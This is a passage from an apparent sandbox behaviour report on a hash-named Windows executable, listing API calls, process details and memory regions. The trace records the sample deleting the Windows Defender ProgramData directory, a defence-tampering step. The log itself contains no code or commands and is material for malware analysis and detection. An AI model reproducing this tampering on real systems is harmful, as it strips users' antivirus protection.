SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7df88) returned 1 [0278.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e1a8) returned 1 [0278.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e188) returned 1 [0278.015] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0278.015] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0278.016] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x1bb7df30 | out: lpFindFileData=0x1bb7df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08560 [0278.016] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7dfd0 | out: lpFindFileData=0x1bb7dfd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7dfd0 | out: lpFindFileData=0x1bb7dfd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.016] FindClose (in: hFindFile=0x1ae08560 | out: hFindFile=0x1ae08560) returned 1 [0278.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7def8) returned 1 [0278.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e138) returned 1 [0278.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc88) returned 1 [0278.016] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e210 | out: lpFileInformation=0x1bb7e210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0278.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dc38) returned 1 [0278.016] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 1 [0278.028] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7e520*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7e520*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa8, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.028] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eb10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eb10*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa8, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.029] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7ebe8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7ebe8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.029] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eb10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eb10*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.029] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7ebe8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7ebe8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.029] SetEvent (hEvent=0x348) returned 1 [0278.029] SetEvent (hEvent=0x33c) returned 1 [0278.029] SetEvent (hEvent=0x340) returned 1 [0278.029] SetEvent (hEvent=0x344) returned 1 [0278.029] SetEvent (hEvent=0x358) returned 1 [0278.029] SetEvent (hEvent=0x34c) returned 1 [0278.029] SetEvent (hEvent=0x350) returned 1 [0278.029] SetEvent (hEvent=0x354) returned 1 [0278.029] SetEvent (hEvent=0x35c) returned 1 [0278.035] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1bb7ebd0*=0x364, lpdwindex=0x1bb7e9b4 | out: lpdwindex=0x1bb7e9b4) returned 0x0 [0278.035] SetThreadUILanguage (LangId=0x0) returned 0x7ffffef0409 [0278.036] CoCreateGuid (in: pguid=0x1bb7eac8 | out: pguid=0x1bb7eac8*(Data1=0x559ac52a, Data2=0xecc3, Data3=0x4fea, Data4=([0]=0xbe, [1]=0x38, [2]=0x3a, [3]=0xde, [4]=0x9f, [5]=0xf8, [6]=0x27, [7]=0xb6))) returned 0x0 [0278.036] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7ea28 | out: lpPerformanceCount=0x1bb7ea28*=1191901342033) returned 1 [0278.068] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7e9e8 | out: lpPerformanceCount=0x1bb7e9e8*=1191904557858) returned 1 [0278.068] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7ebc8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7ebc8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa9, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.069] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eac0*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.069] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa9, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa9, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.074] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x1bb7e220*=0x420, lpdwindex=0x1bb7e014 | out: lpdwindex=0x1bb7e014) returned 0x0 [0278.074] SetEvent (hEvent=0x41c) returned 1 [0278.074] SetEvent (hEvent=0x420) returned 1 [0278.075] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eb10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eb10*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa9, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0278.075] SetEvent (hEvent=0x428) returned 1 [0278.075] SetEvent (hEvent=0x41c) returned 1 [0278.075] SetEvent (hEvent=0x420) returned 1 [0278.075] SetEvent (hEvent=0x438) returned 1 [0278.075] SetEvent (hEvent=0x42c) returned 1 [0278.075] SetEvent (hEvent=0x430) returned 1 [0278.075] SetEvent (hEvent=0x434) returned 1 [0278.075] SetEvent (hEvent=0x43c) returned 1 [0278.079] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1bb7ebd0*=0x364, lpdwindex=0x1bb7e9b4 | out: lpdwindex=0x1bb7e9b4) returned 0x0 [0278.681] CoGetContextToken (in: pToken=0x1bb7f460 | out: pToken=0x1bb7f460) returned 0x0 [0278.683] CoUninitialize () Thread: id = 504 os_tid = 0xe8c Thread: id = 505 os_tid = 0xec8 Thread: id = 506 os_tid = 0xef8 Thread: id = 507 os_tid = 0xec4 Thread: id = 508 os_tid = 0xeb8 [0274.927] CoGetContextToken (in: pToken=0x1f8f6e0 | out: pToken=0x1f8f6e0) returned 0x0 [0274.927] CObjectContext::QueryInterface () returned 0x0 [0274.927] CObjectContext::GetCurrentThreadType () returned 0x0 [0274.927] Release () returned 0x0 [0274.927] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 509 os_tid = 0xebc Thread: id = 510 os_tid = 0xec0 Process: id = "28" image_name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" page_root = "0x12f1000" os_pid = "0xe88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5546 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5547 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5548 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5549 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5550 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5551 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5552 start_va = 0x2b0000 end_va = 0x315fff monitored = 1 entry_point = 0x2b611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 5553 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5554 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5555 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5556 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 5557 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 5558 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 5559 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 5560 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5561 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5562 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5575 start_va = 0x400000 end_va = 0x43bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5577 start_va = 0x650000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 5578 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5579 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5580 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5581 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5582 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5583 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5584 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 5585 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5586 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 5587 start_va = 0x6d0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 5588 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 5589 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5590 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5591 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5592 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5593 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5594 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5595 start_va = 0x8d0000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 5596 start_va = 0xa60000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5597 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5598 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5599 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5600 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5601 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5602 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5603 start_va = 0x150000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5605 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 5606 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5607 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5608 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5613 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5614 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 5615 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 5616 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5617 start_va = 0xc20000 end_va = 0xda7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 5618 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5619 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5620 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5621 start_va = 0xdb0000 end_va = 0xf30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 5622 start_va = 0xf40000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f40000" filename = "" Region: id = 5623 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5624 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5625 start_va = 0x150000 end_va = 0x1affff monitored = 1 entry_point = 0x15611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 5626 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5627 start_va = 0x150000 end_va = 0x1affff monitored = 1 entry_point = 0x15611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 5628 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 5629 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 5630 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 5631 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 5632 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 5633 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 5634 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5635 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 5636 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5637 start_va = 0x150000 end_va = 